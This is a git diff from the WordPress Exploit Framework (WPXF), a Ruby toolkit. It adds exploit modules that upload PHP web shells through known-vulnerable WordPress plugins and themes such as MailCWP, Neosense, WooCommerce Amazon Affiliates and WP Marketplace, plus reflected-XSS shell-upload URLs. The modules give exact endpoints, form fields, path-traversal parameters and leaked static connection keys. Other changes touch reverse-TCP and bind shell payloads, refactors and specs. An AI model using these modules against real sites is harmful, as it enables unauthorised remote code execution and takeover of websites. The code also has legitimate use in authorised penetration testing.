+    name
+  end
+
+  def validate_upload_result
+    return false unless upload_result && upload_result.code == 200
+    res = JSON.parse(upload_result.body)
+
+    if res['status'] == 'error'
+      emit_error "Upload failed: #{res['error']['message']}"
+      return false
+    end
+
+    true
+  end
+
+  def uploaded_payload_location
+    directory = scrape_upload_folder
+    return false unless directory
+    normalize_uri(wordpress_url_uploads, 'gravity_forms', directory, 'tmp', "_input_#{form_id}_#{payload_name}")
+  end
+end
diff --git a/modules/exploits/gravity_forms_v1.9.15.11_reflected_xss_shell_upload.rb b/modules/exploits/gravity_forms_v1.9.15.11_reflected_xss_shell_upload.rb
new file mode 100644
index 0000000..c98c36f
--- /dev/null
+++ b/modules/exploits/gravity_forms_v1.9.15.11_reflected_xss_shell_upload.rb
@@ -0,0 +1,33 @@
+class Wpxf::Exploit::GravityFormsV191511ReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Gravity Forms <= 1.9.15.11 Reflected XSS Shell Upload',
+      author: [
+        'Henri Salo',                     # Discovery
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8400'],
+        ['URL', 'http://seclists.org/bugtraq/2016/Mar/0']
+      ],
+      date: 'Mar 01 2016'
+    )
+  end
+
+  def check
+    changelog = normalize_uri(wordpress_url_plugins, 'gravityforms', 'change_log.txt')
+    check_version_from_custom_file(changelog, /Version\s+(\d+\.\d+(\.\d+)*)/, '1.8.20')
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_admin, 'admin.php')
+  end
+
+  def url_with_xss
+    "#{vulnerable_url}?page=gf_settings&subview=%22%3E%3Cscript%3E#{xss_ascii_encoded_include_script}%3C%2Fscript%3E%0A"
+  end
+end
diff --git a/modules/exploits/mailcwp_authenticated_shell_upload.rb b/modules/exploits/mailcwp_authenticated_shell_upload.rb
new file mode 100644
index 0000000..12967e6
--- /dev/null
+++ b/modules/exploits/mailcwp_authenticated_shell_upload.rb
@@ -0,0 +1,33 @@
+require_relative './mailcwp_unauthenticated_shell_upload'
+
+class Wpxf::Exploit::MailcwpAuthenticatedShellUpload < Wpxf::Exploit::MailcwpUnauthenticatedShellUpload
+  def initialize
+    super
+
+    update_info(
+      name: 'MailCWP v1.100 Authenticated Shell Upload',
+      author: [
+        'Larry W. Cashdollar',            # Discovery and disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8090'],
+        ['CVE', '2016-1000156'],
+        ['URL', 'http://www.vapidlabs.com/advisory.php?v=175']
+      ],
+      date: 'Nov 01 2016'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('mailcwp', '1.101')
+  end
+
+  def requires_authentication
+    true
+  end
+
+  def payload_name_extension
+    'phtml'
+  end
+end
diff --git a/modules/exploits/mailcwp_unauthenticated_shell_upload.rb b/modules/exploits/mailcwp_unauthenticated_shell_upload.rb
new file mode 100644
index 0000000..d158fed
--- /dev/null
+++ b/modules/exploits/mailcwp_unauthenticated_shell_upload.rb
@@ -0,0 +1,49 @@
+class Wpxf::Exploit::MailcwpUnauthenticatedShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ShellUpload
+
+  def initialize
+    super
+
+    update_info(
+      name: 'MailCWP <= v1.99 Unauthenticated Shell Upload',
+      author: [
+        'Larry W. Cashdollar',            # Discovery and disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8090'],
+        ['URL', 'http://www.vapid.dhs.org/advisory.php?v=138']
+      ],
+      date: 'Jul 09 2015'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('mailcwp', '1.100')
+  end
+
+  def uploader_url
+    normalize_uri(wordpress_url_plugins, 'mailcwp', 'mailcwp-upload.php')
+  end
+
+  def message_id
+    @message_id ||= Utility::Text.rand_numeric(3)
+  end
+
+  def upload_request_params
+    {
+      message_id: message_id,
+      upload_dir: '../../uploads'
+    }
+  end
+
+  def payload_body_builder
+    builder = Utility::BodyBuilder.new
+    builder.add_file_from_string('file', payload.encoded, payload_name)
+    builder
+  end
+
+  def uploaded_payload_location
+    normalize_uri(wordpress_url_uploads, "#{message_id}-#{payload_name}")
+  end
+end
diff --git a/modules/exploits/n_media_website_contact_form_v19_shell_upload.rb b/modules/exploits/n_media_website_contact_form_v1.9_shell_upload.rb
similarity index 100%
rename from modules/exploits/n_media_website_contact_form_v19_shell_upload.rb
rename to modules/exploits/n_media_website_contact_form_v1.9_shell_upload.rb
diff --git a/modules/exploits/neosense_shell_upload.rb b/modules/exploits/neosense_shell_upload.rb
new file mode 100644
index 0000000..fe11ad0
--- /dev/null
+++ b/modules/exploits/neosense_shell_upload.rb
@@ -0,0 +1,39 @@
+class Wpxf::Exploit::NeosenseShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ShellUpload
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Neosense Theme <= 1.7 Unauthenticated Shell Upload',
+      author: [
+        'Walter Hop',                     # Discovery and disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8622'],
+        ['URL', 'https://lifeforms.nl/20160919/unrestricted-upload-neosense']
+      ],
+      date: 'Sep 19 2016'
+    )
+  end
+
+  def check
+    check_theme_version_from_style('neosense', '1.8')
+  end
+
+  def uploader_url
+    normalize_uri(wordpress_url_themes, 'neosense', 'js', 'back-end', 'libraries', 'fileuploader', 'upload_handler.php')
+  end
+
+  def payload_body_builder
+    builder = Utility::BodyBuilder.new
+    builder.add_file_from_string('qqfile', payload.encoded, payload_name)
+    builder
+  end
+
+  def uploaded_payload_location
+    result = JSON.parse(upload_result.body)
+    result['url']
+  end
+end
diff --git a/modules/exploits/premium_seo_pack_shell_upload.rb b/modules/exploits/premium_seo_pack_shell_upload.rb
new file mode 100644
index 0000000..c9b3e9d
--- /dev/null
+++ b/modules/exploits/premium_seo_pack_shell_upload.rb
@@ -0,0 +1,31 @@
+class Wpxf::Exploit::PremiumSeoPackShellUpload < Wpxf::Exploit::WoocommerceAmazonAffiliatesV8ShellUpload
+  def initialize
+    super
+
+    update_info(
+      name: 'Premium SEO Pack < v1.9 Unauthenticated Shell Upload',
+      references: [
+        ['WPVDB', '7934']
+      ]
+    )
+  end
+
+  def emit_usage_info
+    emit_warning 'When executing this module, the ajax.php file in premium-seo-pack/modules/remote_support will be deleted. '\
+                 'In order to be able to re-use this module on the same target, be sure to re-create ajax.php if ' \
+                 'the selected payload is unable to re-create it automatically.'
+  end
+
+  def check
+    readme = normalize_uri(wordpress_url_plugins, 'premium-seo-pack', 'changelog.txt')
+    check_version_from_custom_file(readme, /##\s\[(\d\.\d(\.\d)*)\]/, '1.9')
+  end
+
+  def uploader_url
+    normalize_uri(wordpress_url_plugins, 'premium-seo-pack', 'modules', 'remote_support', 'remote_tunnel.php')
+  end
+
+  def uploaded_payload_location
+    normalize_uri(wordpress_url_plugins, 'premium-seo-pack', 'modules', 'remote_support', 'ajax.php')
+  end
+end
diff --git a/modules/exploits/ultimate_product_catalogue_shell_upload.rb b/modules/exploits/ultimate_product_catalogue_shell_upload.rb
new file mode 100644
index 0000000..1795fd7
--- /dev/null
+++ b/modules/exploits/ultimate_product_catalogue_shell_upload.rb
@@ -0,0 +1,45 @@
+class Wpxf::Exploit::UltimateProductCatalogueShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ShellUpload
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Ultimate Product Catalogue <= v3.1.1 Unauthenticated Shell Upload',
+      author: [
+        'LUCA ERCOLI ',                   # Discovery and disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '7939'],
+        ['URL', 'https://blog.seeweb.it/wordpress-ultimate-product-catalogue-vulnerability/']
+      ],
+      date: 'Apr 22 2015'
+    )
+  end
+
+  def check
+    check_plugin_version_from_changelog('ultimate-product-catalogue', 'readme.txt', '3.1.2')
+  end
+
+  def uploader_url
+    wordpress_url_admin_ajax
+  end
+
+  def payload_body_builder
+    builder = Utility::BodyBuilder.new
+    builder.add_file_from_string('Products_Spreadsheet', payload.encoded, payload_name)
+    builder
+  end
+
+  def upload_request_params
+    {
+      'action' => 'widgets_init',
+      'Action' => 'UPCP_AddProductSpreadsheet'
+    }
+  end
+
+  def uploaded_payload_location
+    normalize_uri(wordpress_url_plugins, 'ultimate-product-catalogue', 'product-sheets', payload_name)
+  end
+end
diff --git a/modules/exploits/windows_desktop_and_iphone_photo_uploader_shell_upload.rb b/modules/exploits/windows_desktop_and_iphone_photo_uploader_shell_upload.rb
new file mode 100644
index 0000000..4214649
--- /dev/null
+++ b/modules/exploits/windows_desktop_and_iphone_photo_uploader_shell_upload.rb
@@ -0,0 +1,43 @@
+class Wpxf::Exploit::WindowsDesktopAndIphonePhotoUploaderShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ShellUpload
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Windows Desktop And iPhone Photo Uploader Unauthenticated Shell Upload',
+      author: [
+        'Manish Kishan Tanwar AKA error1046', # Discovery and disclosure
+        'Rob Carr <rob[at]rastating.com>'     # WPXF module
+      ],
+      references: [
+        ['WPVDB', '7893']
+      ],
+      date: 'Apr 09 2015'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('i-dump-iphone-to-wordpress-photo-uploader')
+  end
+
+  def uploader_url
+    normalize_uri(wordpress_url_plugins, 'i-dump-iphone-to-wordpress-photo-uploader', 'uploader.php')
+  end
+
+  def payload_body_builder
+    @start_timestamp = Time.now.to_i
+    builder = Utility::BodyBuilder.new
+    builder.add_file_from_string('file', payload.encoded, payload_name)
+    builder
+  end
+
+  def execute_payload(_payload_url)
+    @end_timestamp = Time.now.to_i
+    base_upload_uri = normalize_uri(wordpress_url_uploads, 'i-dump-uploads')
+
+    (@start_timestamp..@end_timestamp).each do |timestamp|
+      super(normalize_uri(base_upload_uri, "-#{timestamp}-#{payload_name}"))
+    end
+  end
+end
diff --git a/modules/exploits/woocommerce_amazon_affiliates_v8_shell_upload.rb b/modules/exploits/woocommerce_amazon_affiliates_v8_shell_upload.rb
new file mode 100644
index 0000000..145d76b
--- /dev/null
+++ b/modules/exploits/woocommerce_amazon_affiliates_v8_shell_upload.rb
@@ -0,0 +1,79 @@
+class Wpxf::Exploit::WoocommerceAmazonAffiliatesV8ShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ShellUpload
+
+  def initialize
+    super
+
+    update_info(
+      name: 'WooCommerce Amazon Affiliates < v9 Unauthenticated Shell Upload',
+      desc: %(
+        This module exploits a file upload vulnerability which allows users
+        to upload and execute PHP scripts in the context of the web server.
+
+        In order to use this module, a valid connection key must be provided.
+        These are statically defined keys, that have been changed on a number
+        of occasions.
+
+        Some of the keys that have been identified are:
+         - 1ec4614ce9b023d2a58deef6dcabb6ab
+         - c125a47cba1e8ec73945dd622d142f79
+         - 69efc4922575861f31125878597e97cf
+         - 501d0292aca8270d539662a5a9aad855
+      ),
+      author: [
+        'Evex_1337',                      # Discovery and disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '7940']
+      ],
+      date: 'Apr 25 2015',
+      desc_preformatted: true
+    )
+
+    register_option(
+      StringOption.new(
+        name: 'connection_key',
+        desc: 'The plugin connection key, see module description for static keys',
+        required: true
+      )
+    )
+  end
+
+  def emit_usage_info
+    emit_warning 'When executing this module, the ajax.php file in woozone/modules/remote_support will be deleted. '\
+                 'In order to be able to re-use this module on the same target, be sure to re-create ajax.php if ' \
+                 'the selected payload is unable to re-create it automatically.'
+  end
+
+  def check
+    readme = normalize_uri(wordpress_url_plugins, 'woozone', 'changelog.txt')
+    check_version_from_custom_file(readme, /##\s\[(\d\.\d(\.\d)*)\]/, '9')
+  end
+
+  def uploader_url
+    normalize_uri(wordpress_url_plugins, 'woozone', 'modules', 'remote_support', 'remote_tunnel.php')
+  end
+
+  def payload_body_builder
+    builder = Utility::BodyBuilder.new
+    builder.add_field('connection_key', datastore['connection_key'])
+    builder.add_field('action', 'save_file')
+    builder.add_field('file', 'ajax.php')
+    builder.add_field('file_content', Base64.strict_encode64(payload.encoded))
+    builder
+  end
+
+  def uploaded_payload_location
+    normalize_uri(wordpress_url_plugins, 'woozone', 'modules', 'remote_support', 'ajax.php')
+  end
+
+  def validate_upload_result
+    upload_result.body !~ /Invalid\skey!/i
+  end
+
+  def run
+    payload.enqueue_command('echo "" > ajax.php')
+    super
+  end
+end
diff --git a/modules/exploits/wp_front_end_repository_manager_shell_upload.rb b/modules/exploits/wp_front_end_repository_manager_shell_upload.rb
new file mode 100644
index 0000000..a237b79
--- /dev/null
+++ b/modules/exploits/wp_front_end_repository_manager_shell_upload.rb
@@ -0,0 +1,40 @@
+class Wpxf::Exploit::WpFrontEndRepositoryManagerShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ShellUpload
+
+  def initialize
+    super
+
+    update_info(
+      name: 'WP Front End Repostiory Manager Unauthenticated Shell Upload',
+      author: [
+        'Larry W. Cashdollar',            # Discovery and disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8100'],
+        ['URL', 'http://www.vapid.dhs.org/advisory.php?v=141']
+      ],
+      date: 'Jul 12 2015'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('wp-front-end-repository')
+  end
+
+  def uploader_url
+    normalize_uri(wordpress_url_plugins, 'wp-front-end-repository', 'js', 'uploadify', 'uploadify.php')
+  end
+
+  def payload_body_builder
+    builder = Utility::BodyBuilder.new
+    builder.add_field('name', payload_name)
+    builder.add_field('folder', './')
+    builder.add_file_from_string('Filedata', payload.encoded, payload_name)
+    builder
+  end
+
+  def uploaded_payload_location
+    normalize_uri(wordpress_url_plugins, 'wp-front-end-repository', 'js', 'uploadify', payload_name)
+  end
+end
diff --git a/modules/exploits/wp_marketplace_shell_upload.rb b/modules/exploits/wp_marketplace_shell_upload.rb
new file mode 100644
index 0000000..e5843bf
--- /dev/null
+++ b/modules/exploits/wp_marketplace_shell_upload.rb
@@ -0,0 +1,38 @@
+class Wpxf::Exploit::WpMarketplaceShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ShellUpload
+
+  def initialize
+    super
+
+    update_info(
+      name: 'WP Marketplace Unauthenticated Shell Upload',
+      author: [
+        'White Fir Design',               # Discovery and disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8642'],
+        ['URL', 'http://labs.sucuri.net/?note=2016-10-17']
+      ],
+      date: 'Oct 14 2016'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('wpmarketplace')
+  end
+
+  def uploader_url
+    normalize_uri(wordpress_url_admin, 'admin-post.php?task=wpmp_upload_previews')
+  end
+
+  def payload_body_builder
+    builder = Utility::BodyBuilder.new
+    builder.add_file_from_string('Filedata', payload.encoded, payload_name)
+    builder
+  end
+
+  def uploaded_payload_location
+    normalize_uri(wordpress_url_uploads, 'wpmp-previews', upload_result.body)
+  end
+end
diff --git a/modules/exploits/wp43_shortcode_xss_shell_upload.rb b/modules/exploits/wp_v4.3_shortcode_xss_shell_upload.rb
similarity index 97%
rename from modules/exploits/wp43_shortcode_xss_shell_upload.rb
rename to modules/exploits/wp_v4.3_shortcode_xss_shell_upload.rb
index bdbddc7..a10cb36 100644
--- a/modules/exploits/wp43_shortcode_xss_shell_upload.rb
+++ b/modules/exploits/wp_v4.3_shortcode_xss_shell_upload.rb
@@ -33,7 +33,7 @@ def check
     version = wordpress_version
     return :unknown if version.nil?
     return :vulnerable if version < Gem::Version.new('4.3.1')
-    return :safe
+    :safe
   end
 
   def run
@@ -48,6 +48,6 @@ def run
     puts
 
     start_http_server
-    return @success
+    @success
   end
 end
diff --git a/modules/exploits/wp44_xss_shell_upload.rb b/modules/exploits/wp_v4.4_xss_shell_upload.rb
similarity index 89%
rename from modules/exploits/wp44_xss_shell_upload.rb
rename to modules/exploits/wp_v4.4_xss_shell_upload.rb
index 19ab445..9e75c4f 100644
--- a/modules/exploits/wp44_xss_shell_upload.rb
+++ b/modules/exploits/wp_v4.4_xss_shell_upload.rb
@@ -29,12 +29,12 @@ def check
     version = wordpress_version
     return :unknown if version.nil?
     return :vulnerable if version == Gem::Version.new('4.4')
-    return :safe
+    :safe
   end
 
   def url_with_xss
-    url = normalize_uri(wordpress_url_admin, "customize.php")
-    url += "?theme=<svg onload=#{xss_ascii_encoded_include_script}>"
+    url = normalize_uri(wordpress_url_admin, 'customize.php')
+    url + "?theme=<svg onload=#{xss_ascii_encoded_include_script}>"
   end
 
   def run
@@ -47,6 +47,6 @@ def run
     puts
 
     start_http_server
-    return @success
+    @success
   end
 end
diff --git a/modules/modules.rb b/modules/modules.rb
index 6605623..88ce04e 100644
--- a/modules/modules.rb
+++ b/modules/modules.rb
@@ -1,29 +1,40 @@
 module Wpxf
-  def self.underscore(module_name)
-    module_name.gsub(/::/, '/').
-                gsub(/([A-Z]+)([A-Z][a-z])/,'\1_\2').
-                gsub(/([a-z\d])([A-Z])/,'\1_\2').
-                tr("-", "_").
-                downcase
+  def self.build_module_list(namespace, id_prefix = '')
+    modules = namespace.constants.select do |c|
+      namespace.const_get(c).is_a? Class
+    end
+
+    modules.map do |m|
+      klass = namespace.const_get(m)
+      filename = klass.new.method(:initialize).source_location[0]
+      {
+        class: klass,
+        name: "#{id_prefix}#{File.basename(filename, '.rb')}"
+      }
+    end
+  end
+
+  def self.load_module(name)
+    match = name.match(/(auxiliary|exploit)\/(.+)/i)
+    raise 'Invalid module path' unless match
+
+    type = match.captures[0]
+    list = type == 'auxiliary' ? Wpxf::Auxiliary.module_list : Wpxf::Exploit.module_list
+
+    mod = list.find { |p| p[:name] == name }
+    raise "\"#{name}\" is not a valid module" if mod.nil?
+    mod[:class].new
   end
 
   module Auxiliary
     def self.module_list
-      modules = Wpxf::Auxiliary.constants.select do |c|
-        Wpxf::Auxiliary.const_get(c).is_a? Class
-      end
-
-      modules.map { |m| "auxiliary/#{Wpxf.underscore(m.to_s)}" }
+      @@modules ||= Wpxf.build_module_list(Wpxf::Auxiliary, 'auxiliary/')
     end
   end
 
   module Exploit
     def self.module_list
-      modules = Wpxf::Exploit.constants.select do |c|
-        Wpxf::Exploit.const_get(c).is_a? Class
-      end
-
-      modules.map { |m| "exploit/#{Wpxf.underscore(m.to_s)}" }
+      @@modules ||= Wpxf.build_module_list(Wpxf::Exploit, 'exploit/')
     end
   end
 
@@ -37,11 +48,13 @@ def self.payload_count
     end
 
     def self.payload_list
-      payloads = Wpxf::Payloads.constants.select do |c|
-        Wpxf::Payloads.const_get(c).is_a? Class
-      end
+      @@payloads ||= Wpxf.build_module_list(Wpxf::Payloads)
+    end
 
-      payloads.map { |p| Wpxf.underscore(p.to_s) }
+    def self.load_payload(name)
+      payload = payload_list.find { |p| p[:name] == name }
+      raise "\"#{name}\" is not a valid payload" if payload.nil?
+      payload[:class].new
     end
   end
 end
diff --git a/payloads/bind_php.rb b/payloads/bind_php.rb
index 1993a54..752e34e 100644
--- a/payloads/bind_php.rb
+++ b/payloads/bind_php.rb
@@ -57,7 +57,6 @@ def post_exploit(mod)
 
       Wpxf.change_stdout_sync(true) do
         mod.emit_success 'Established a session'
-        puts
         start_socket_io_loop(socket, mod)
         socket.close
         puts
@@ -84,6 +83,10 @@ def raw
       "#{DataFile.new('php', 'bind_php.php').php_content}"
     end
 
+    def cleanup
+      self.queued_commands = []
+    end
+
     attr_accessor :host
   end
 end
diff --git a/payloads/custom.rb b/payloads/custom.rb
index 1833c5a..2007bf5 100644
--- a/payloads/custom.rb
+++ b/payloads/custom.rb
@@ -21,7 +21,7 @@ def encoded
     end
 
     def raw
-      File.open(datastore['payload_path'], 'rb', &:read)
+      File.open(File.expand_path(datastore['payload_path']), 'rb', &:read)
     end
   end
 end
diff --git a/payloads/reverse_tcp.rb b/payloads/reverse_tcp.rb
index 1cf9508..5fb1e6a 100644
--- a/payloads/reverse_tcp.rb
+++ b/payloads/reverse_tcp.rb
@@ -43,8 +43,7 @@ def initialize
           name: 'bind_to_address',
           default: '0.0.0.0',
           required: true,
-          desc: 'The address to bind to when using WPXF to listen for '\
-                'incoming connections'
+          desc: 'The address to bind to when listening for connections'
         )
       ])
     end
@@ -95,10 +94,8 @@ def client_connected(socket, event_emitter)
       Wpxf.change_stdout_sync(true) do
         port, ip = Socket.unpack_sockaddr_in(socket.getpeername)
         event_emitter.emit_success "Connection established from #{ip}:#{port}"
-        puts
 
         start_socket_io_loop(socket, event_emitter)
-
         socket.close
         @server.close
         puts
@@ -137,6 +134,7 @@ def post_exploit(mod)
     end
 
     def cleanup
+      self.queued_commands = []
       @network_thread.exit if @network_thread
       @server.close if @server && !@server.closed?
     end
diff --git a/payloads/socket_helper.rb b/payloads/socket_helper.rb
index 9dee308..cc78014 100644
--- a/payloads/socket_helper.rb
+++ b/payloads/socket_helper.rb
@@ -2,6 +2,7 @@
 module Wpxf::Payloads::SocketHelper
   def start_socket_io_loop(socket, event_emitter)
     read_thread = Thread.new { start_socket_read_loop(socket) }
+    execute_queued_commands(socket, event_emitter)
     start_socket_write_loop(socket, read_thread)
   rescue SignalException
     puts
@@ -11,6 +12,15 @@ def start_socket_io_loop(socket, event_emitter)
     event_emitter.emit_error "Error encountered: #{e}"
   end
 
+  def execute_queued_commands(socket, event_emitter)
+    queued_commands.each do |cmd|
+      socket.puts cmd
+      event_emitter.emit_success "Executed: #{cmd}"
+    end
+
+    puts
+  end
+
   def start_socket_write_loop(socket, read_thread)
     loop do
       input = STDIN.gets
diff --git a/spec/modules_spec.rb b/spec/modules_spec.rb
new file mode 100644
index 0000000..6df48e2
--- /dev/null
+++ b/spec/modules_spec.rb
@@ -0,0 +1,45 @@
+require_relative 'spec_helper'
+require 'modules'
+
+describe Wpxf do
+  describe '.build_module_list' do
+    it 'builds an array of hashes containing the modules for the specified namespace' do
+      result = Wpxf.build_module_list(Wpxf::Exploit, 'exploit/')
+      expect(result[0]).to include(:class, :name)
+
+      mod = result.find { |m| m[:name] == 'exploit/admin_shell_upload' }
+      expect(mod).to_not be_nil
+      expect(mod[:class]).to be Wpxf::Exploit::AdminShellUpload
+    end
+  end
+end
+
+describe 'Wpxf::Auxiliary' do
+  describe '.module_list' do
+    it 'builds an array of hashes containing the auxiliary modules' do
+      list = Wpxf::Auxiliary.module_list
+      expect(list).to_not be_nil
+      expect(list[0]).to include(:class, :name)
+    end
+  end
+end
+
+describe 'Wpxf::Exploit' do
+  describe '.module_list' do
+    it 'builds an array of hashes containing the exploit modules' do
+      list = Wpxf::Exploit.module_list
+      expect(list).to_not be_nil
+      expect(list[0]).to include(:class, :name)
+    end
+  end
+end
+
+describe 'Wpxf::Payloads' do
+  describe '.payload_list' do
+    it 'builds an array of hashes containing the module payloads' do
+      list = Wpxf::Payloads.payload_list
+      expect(list).to_not be_nil
+      expect(list[0]).to include(:class, :name)
+    end
+  end
+end
diff --git a/spec/utility/reference_inflater_spec.rb b/spec/utility/reference_inflater_spec.rb
index 024185c..eb078b0 100644
--- a/spec/utility/reference_inflater_spec.rb
+++ b/spec/utility/reference_inflater_spec.rb
@@ -27,7 +27,7 @@
 
     it 'inflates CVE references' do
       subject = Wpxf::Utility::ReferenceInflater.new('CVE')
-      expect(subject.inflate(12)).to eq 'http://www.cvedetails.com/cve/12'
+      expect(subject.inflate(12)).to eq 'http://www.cvedetails.com/cve/CVE-12'
     end
 
     it 'inflates Exploit DB references' do
diff --git a/spec/wordpress/file_download_spec.rb b/spec/wordpress/file_download_spec.rb
index f6b2155..3208e7d 100644
--- a/spec/wordpress/file_download_spec.rb
+++ b/spec/wordpress/file_download_spec.rb
@@ -38,5 +38,11 @@
         'A value must be specified for #working_directory'
       )
     end
+
+    it 'when #before_download returns false, return false' do
+      allow(subject).to receive(:before_download).and_return(false)
+      allow(subject).to receive(:working_directory).and_return('wp-content')
+      expect(subject.run).to be false
+    end
   end
 end
diff --git a/spec/wordpress/fingerprint_spec.rb b/spec/wordpress/fingerprint_spec.rb
index 9b8d392..c8f6225 100644
--- a/spec/wordpress/fingerprint_spec.rb
+++ b/spec/wordpress/fingerprint_spec.rb
@@ -36,11 +36,11 @@
 
   describe '#wordpress_version' do
     let(:body) do
-      '<meta name="generator" content="WordPress 4.0" />'
+      '<meta name="generator" content="WordPress 4.7.1" />'
     end
 
     it 'returns the WordPress version number' do
-      expect(subject.wordpress_version).to eq Gem::Version.new('4.0')
+      expect(subject.wordpress_version).to eq Gem::Version.new('4.7.1')
     end
   end
 
diff --git a/spec/wordpress/urls_spec.rb b/spec/wordpress/urls_spec.rb
index 1f21bbd..ae3388c 100644
--- a/spec/wordpress/urls_spec.rb
+++ b/spec/wordpress/urls_spec.rb
@@ -165,4 +165,11 @@
       expect(subject.wordpress_url_admin_profile).to eq url
     end
   end
+
+  describe '#wordpress_url_rest_api' do
+    it 'returns the REST API base path' do
+      url = 'http://127.0.0.1/wp/wp-json'
+      expect(subject.wordpress_url_rest_api).to eq url
+    end
+  end
 end